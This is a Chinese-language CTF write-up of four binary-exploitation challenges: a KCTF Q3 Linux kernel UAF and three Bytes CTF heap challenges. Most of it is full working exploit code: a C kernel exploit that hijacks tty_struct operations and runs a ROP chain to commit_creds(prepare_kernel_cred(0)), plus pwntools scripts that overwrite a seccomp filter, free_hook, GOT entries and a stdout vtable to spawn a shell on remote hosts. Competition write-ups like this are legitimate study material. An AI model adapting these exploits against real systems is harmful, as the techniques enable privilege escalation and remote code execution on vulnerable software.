Some PWN in KCTF Q3 && Bytes CTF
只记录几个有意思的,常规的就不写了
KCTF Q3: 绝地反击
First Blood, Happy
qemu_cmd:
qemu-system-x86_64 -s -m 256M \
-nographic -kernel $bzImage_dir \
-append 'root=/dev/ram rw console=ttyS0 loglevel=3 oops=panic panic=1 kaslr' \
-monitor /dev/null -initrd $cpio_dir \
-smp cores=2,threads=2 \
-cpu kvm64,+smep,+smap
内核存在smep,smap和kalsr保护
漏洞比较明显,在ioctl的0x133d操作中存在uaf
不过只能申请0x400大小的heap
首先想到可以通过UAF,kfree掉一个0x400大小的chunk后,打开一个tty设备,此时tty_struct即可分配到此chunk,以此来leak堆地址和内核加载基址
而后利用上,首先存在smep和smap保护
所以不能直接迁移栈到用户空间,考虑直接在内核空间提权
尝试过tty所有option后选择write操作
write操作前,数据会被copy到内核空间且数据指针在栈上:
stack:
function return address
(ptr *)data writed to tty
此时只需要一个pop rsp的操作即可迁移栈,且迁移后栈内数据即是write的数据,直接利用rop链调用commit_creds(prepare_kernel_cred(0))并返回用户态即可完成提权:
A magic target in kernel:
.text:FFFFFFFF811751F3 pop rcx
.text:FFFFFFFF811751F4 or eax, 415BFFF4h
.text:FFFFFFFF811751F9 pop rsp
.text:FFFFFFFF811751FA pop rbp
.text:FFFFFFFF811751FB retn
EXP:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>
#define KERNCALL __attribute__((regparm(3)))
#define _GNU_SOURCE
//just for debug
/*struct _tty_operations {
struct tty_struct * (*lookup)(struct tty_driver *driver,
struct inode *inode, int idx);
int (*install)(struct tty_driver *driver, struct tty_struct *tty);
void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
int (*open)(struct tty_struct * tty, struct file * filp);
void (*close)(struct tty_struct * tty, struct file * filp);
void (*shutdown)(struct tty_struct *tty);
void (*cleanup)(struct tty_struct *tty);
int (*write)(struct tty_struct * tty,
unsigned char *buf, int count);
int (*put_char)(struct tty_struct *tty, unsigned char ch);
void (*flush_chars)(struct tty_struct *tty);
int (*write_room)(struct tty_struct *tty);
int (*chars_in_buffer)(struct tty_struct *tty);
int (*ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
unsigned int cmd, unsigned long arg);
void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
void (*throttle)(struct tty_struct * tty);
void (*unthrottle)(struct tty_struct * tty);
void (*stop)(struct tty_struct *tty);
void (*start)(struct tty_struct *tty);
void (*hangup)(struct tty_struct *tty);
int (*break_ctl)(struct tty_struct *tty, int state);
void (*flush_buffer)(struct tty_struct *tty);
void (*set_ldisc)(struct tty_struct *tty);
void (*wait_until_sent)(struct tty_struct *tty, int timeout);
void (*send_xchar)(struct tty_struct *tty, char ch);
int (*tiocmget)(struct tty_struct *tty);
int (*tiocmset)(struct tty_struct *tty,
unsigned int set, unsigned int clear);
int (*resize)(struct tty_struct *tty, struct winsize *ws);
int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
int (*get_icount)(struct tty_struct *tty,
struct serial_icounter_struct *icount);
struct file_operations *proc_fops;
};*/
long int data[0x400];
void add(int fd){
ioctl(fd,0x1336);
}
void set_dead(int fd,long int index){
ioctl(fd,0x1338,index);
}
void set_alive(int fd,long int index){
ioctl(fd,0x1339,index);
}
void set(int fd,long int dest,long int src){
long int arg[2]={src,dest};
ioctl(fd,0x1337,arg);
}
void fake(int fd,long int arg1,long int arg2,long int arg3){
long int arg[3]={arg1,arg2,arg3};
ioctl(fd,0x133d,arg);
}
void leak(int fd,long int index,long int size){
long int arg[3]={index,data,size};
ioctl(fd,0x133b,arg);
}
void edit(int fd,long int index,long int *user,long int size){
long int arg[3]={index,user,size};
ioctl(fd,0x133a,arg);
}
void info(){
for(int i=0;i<=60;i++){
printf("%016llx | %016llx\n",data[2*i],data[2*i+1]);
}
}
void shell(){
system("/bin/sh");
}
unsigned long user_cs, user_ss, user_eflags,user_sp ;
void save_status() {
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %3\n"
"pushfq\n"
"popq %2\n"
:"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
:
: "memory"
);
}
int fd,fd2;
long int heap_addr,kernel_base,fake_tty_op;
void leak_addr(){
fd=open("/dev/kpwn",0);
add(fd);
add(fd);
add(fd);
add(fd);
set_dead(fd,0);
set(fd,3,0);
set_alive(fd,0);
set_dead(fd,1);
fake(fd,1,0,3);
leak(fd,3,0x200);
heap_addr=data[0];
printf("[*]heap addr=0x%llx\n",heap_addr);
fd2=open("/dev/ptmx",1);
leak(fd,3,0x300);
kernel_base=(data[76]-0x17a820);
printf("[*]kernel addr=0x%llx\n",kernel_base);
fake_tty_op=heap_addr+0x400;
printf("[*]fake tty op=0x%llx\n",fake_tty_op);
}
void exploit(){
add(fd);
set(fd,4,0);
long int magic=kernel_base+0x1751f3;
long int user_data[30];
for(int i=0;i<20;i++){
user_data[i]=magic;
}
edit(fd,4,user_data,0x100);
user_data[0]=data[0];
user_data[1]=data[1];
user_data[2]=data[2];
user_data[3]=fake_tty_op;
edit(fd,3,user_data,0x20);
int i=0;
user_data[i++]=0;
user_data[i++]=kernel_base+0x118fab;//pop_rdx_rdi
user_data[i++]=0;
user_data[i++]=0;
user_data[i++]=kernel_base+0x4f050;//commit_creds(prepare_kernel_cred(0))
user_data[i++]=kernel_base+0x1ed3e;//xor pop ret
user_data[i++]=0;
user_data[i++]=kernel_base+0x10f29f;
user_data[i++]=0;
user_data[i++]=kernel_base+0x4f210;
user_data[i++]=kernel_base+0x200c2e;//swapgs;popfq;pop rbp;ret
user_data[i++]=0x246;
user_data[i++]=0;
user_data[i++]=kernel_base+0x1a306;
user_data[i++]=shell;
user_data[i++]=user_cs;
user_data[i++]=user_eflags;
user_data[i++]=user_sp;
user_data[i++]=user_ss;
write(fd2,user_data,0xb0);
}
int main(){
save_status();
signal(SIGSEGV, shell);
leak_addr();
exploit();
}
//gcc ./exp.c --static
//find . | cpio -o -H newc > ../kirin.cpio
//upload:
//def upload():
// with open("exp.zip", "rb") as f:
// data = f.read()
// encoded = base64.b64encode(data)
// for i in range(0, len(encoded), 300):
// #print("%d / %d" % (i, len(encoded)))
// print("echo \"%s\" >> tmp" % (encoded[i:i+300]))
// print("cat tmp | base64 -d > exp.zip")
// print("unzip ./exp.zip")
// print("chmod +x ./exp")
// print("./exp")
//upload()
PWN
Bytes CTF: vip
程序在become_vip过程中会载入seccomp规则
且此函数在read name时存在溢出,可以覆盖seccomp规则
同时在edit中可以看到:
ssize_t __fastcall edit(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]
if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}
因此想到让open返回0来绕过read(fd, a1, a2),来使edit内容可控
因此选择覆盖的seccomp规则:
A = args[1]
A &= 0xffff
A == 0x207e ? ok:next
return ALLOW
ok:
return ERRNO(0)
#seccomp-tools asm ./kirin.asm
判断第一个参数的值来控制返回操作,在open("/dev/urandom", 0);时,第一个参数为"/dev/urandom"字符串地址:
000000000040207E file db '/dev/urandom',0
这样即可使fd返回为0,控制edit内容(起初想直接判断sys_number是否为openat,这样虽然也可以成功控制,但是在最后执行system("/bin/sh")时候会失败)
edit可控后便是正常的堆溢,修改free_hook为&system,即可最后get shell
EXP:
from pwn import *
context.log_level="debug"
def add(index):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
def delete(index):
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(index))
def edit(index,size,note):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(index))
p.sendlineafter("Size: ",str(size))
p.sendafter(": ",note)
def show(index):
p.sendlineafter(": ","2")
p.sendlineafter(": ",str(index))
#p=process("./vip")
p=remote("112.126.103.14",9999)
payload=" \x00\x00\x00\x18\x00\x00\x00T\x00\x00\x00\xFF\xFF\x00\x00\x15\x00\x01\x00~ \x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"
p.sendlineafter(": ","6")
p.sendafter("name: \n","a"*0x20+payload)
#p.interactive()
add(0)
add(1)
add(5)
for i in range(20):
add(2)
edit(0,0x80,"a"*0x10*5+p64(0)+p64(0x60*16+1))
delete(1)
add(3)
show(3)
libc_addr=u64(p.recv(6)+"\x00\x00")-0x7fc35edea110+0x7fc35e9fe000
print hex(libc_addr)
add(4)
add(6)
add(7)
add(8)
delete(6)
delete(7)
delete(8)
delete(4)
edit(5,16,p64(libc_addr+0x3ed8e8))
add(2)
add(2)
edit(2,16,p64(libc_addr+0x4f440))
add(6)
edit(6,40,"/bin/sh\x00")
#gdb.attach(p)
delete(6)
p.interactive()
Bytes CTF: mheap
首先程序自身实现了简单的malloc和free功能
结构为chunk_size+chunk_ptr+user_data
首先可以知道覆盖掉chunk_ptr即可类似fastbin attack将chunk分配到有合法地址的位置
漏洞比较明显,在read输入的过程中:
__int64 __fastcall read_note(__int64 a1, signed int a2)
{
__int64 result; // rax
unsigned int v3; // [rsp+18h] [rbp-8h]
int v4; // [rsp+1Ch] [rbp-4h]
v3 = 0;
do
{
result = v3;
if ( (signed int)v3 >= a2 )
break;
v4 = read(0, (void *)(a1 + (signed int)v3), (signed int)(a2 - v3));
if ( !v4 )
exit(0);
v3 += v4;
result = *(unsigned __int8 *)((signed int)v3 - 1LL + a1);
}
while ( (_BYTE)result != 10 );
return result;
}
这里只判断返回是否为0,没有判断返回错误(-1)的状态
导致可以向预期指针的前方写入数据
选择直接分配chunk到边界,这时候由于size没有严格的check,导致chunk到最后可以分配超过mmap的地址,这时候read过程中由于地址没有写权限(没被分配的非法地址)从而返回-1,而后即可向前修改掉一个free掉的chunk的指针,将其指向note_list(其中有合法size),即可任意地址读写,修改GOT['atoi']指向&system即可在输入"/bin/sh"时get shell
EXP:
from pwn import *
import time
def add(index,size,note):
p.sendlineafter(": ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)
def show(index):
p.sendlineafter(": ","2")
p.sendlineafter(": ",str(index))
def delete(index):
p.sendlineafter(": ","3")
p.sendlineafter(": ",str(index))
def edit(index,note):
p.sendlineafter(": ","4")
p.sendlineafter(": ",str(index))
p.send(note)
context.log_level="debug"
#p=process("./mheap")
p=remote("112.126.98.5",9999)
add(0,0xf90,"kirin\n")
add(1,1,"a")
delete(1)
add(2,0x50,p64(0x4040e3)*10+"\x00\x00\x00\x00\x00\x00\x00\n")
add(0,0x10,"aaaa\n")
add(0,0x10,"aaaaa"+p64(0x404050)+"\n")
show(3)
libc=u64(p.recv(6)+"\x00\x00")-0x40680
edit(3,p64(libc+0x4f440)+"\n")
p.sendlineafter(": ","/bin/sh")
#gdb.attach(p)
p.interactive()
Bytes CTF: notefive
程序在read输入时存在逻辑漏洞导致输入可以比参数大一字节造成off by one:
__int64 __fastcall read_note(__int64 a1, signed int a2, char a3)
{
__int64 result; // rax
char v4; // [rsp+0h] [rbp-20h]
unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
unsigned int i; // [rsp+14h] [rbp-Ch]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v4 = a3;
v7 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
result = i;
if ( (signed int)i > a2 )
break;
if ( (signed int)read(0, &buf, 1uLL) <= 0 )
{
puts("read error");
exit(0);
}
result = buf;
if ( buf == v4 )
break;
*(_BYTE *)(a1 + (signed int)i) = buf;
}
return result;
}
同时在add过程中size要求:
size > 0x8F && size <= 1024
因此选择首先利用off by one来构造堆重叠进行unsortedbin attack,修改掉global_max_fast
而后由于size需要打印0x8F且程序本身没有show操作,只能在stderr靠近stdout的位置找到一个合法size,"\xFF"
这样delete一个0xe8大小的chunk,而后利用堆重叠修正其fd指针
即可将chunk分配到stdout附近,覆盖掉flags和_IO_write_base低字节来造成程序leak出一段存在libc地址的数据
leak之后再用相同方法分配chunk到stdout尾部覆盖vtable为写满one_target的一段位置即可在输出时get shell:
EXP:
#需要爆破4bits global_max_fast的地址
from pwn import *
context.log_level="debug"
def add(index,size):
p.sendlineafter(">> ","1")
p.sendlineafter(": ",str(index))
p.sendlineafter(": ",str(size))
def delete(index):
p.sendlineafter(">> ","3")
p.sendlineafter(": ",str(index))
def edit(index,note):
p.sendlineafter(">> ","2")
p.sendlineafter(": ",str(index))
p.sendafter(": ",note)
for i in range(100):
try:
p=remote("112.126.103.195",9999)
add(0,0xf8)
add(1,0xf8)
add(2,0xe8)
add(3,0xe8)
add(4,0xe8)
delete(3)
add(3,0xe8)
add(4,0xe8)
edit(0,"a"*0xf0+p64(0x200)+"\xf1")
delete(1)
add(1,0xf8)
edit(2,"a"*8+"\xe8\x37"+"\n")
add(1,0xe8)
delete(1)
edit(2,"\xcf\x25\n")
add(1,0xe8)
add(0,0xe8)
edit(0,"a"+p64(0)*7+p64(0xf1)+p64(0xfbad1887)+p64(0)*3+"\x00"+"\n")
p.recvuntil("\x7f\x00\x00")
libc=u64(p.recv(8))-0x7ffff7dd26a3+0x7ffff7a0d000
print hex(libc)
delete(1)
edit(2,p64(libc+0x7ffff7dd26af-0x7ffff7a0d000)+"\n")
add(0,0xe8)
add(1,0xe8)
payload="a"+p64(libc-0x7ffff7a0d000+0x00007ffff7dd17a0)
payload+=p64(0)*3+p64(0xffffffff)+p64(0)*2+p64(libc-0x7ffff7a0d000+0x7ffff7dd2720)
payload+=p64(libc-0x7ffff7a0d000+0x00007ffff7dd2540)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd2620)+p64(libc-0x7ffff7a0d000+0x00007ffff7dd18e0)+p64(libc-0x7ffff7a0d000+0x00007ffff7a2db70)
payload+=p64(libc+0xf1147)*16+"\n"
edit(1,payload)
#gdb.attach(p)
p.interactive()
except:
print i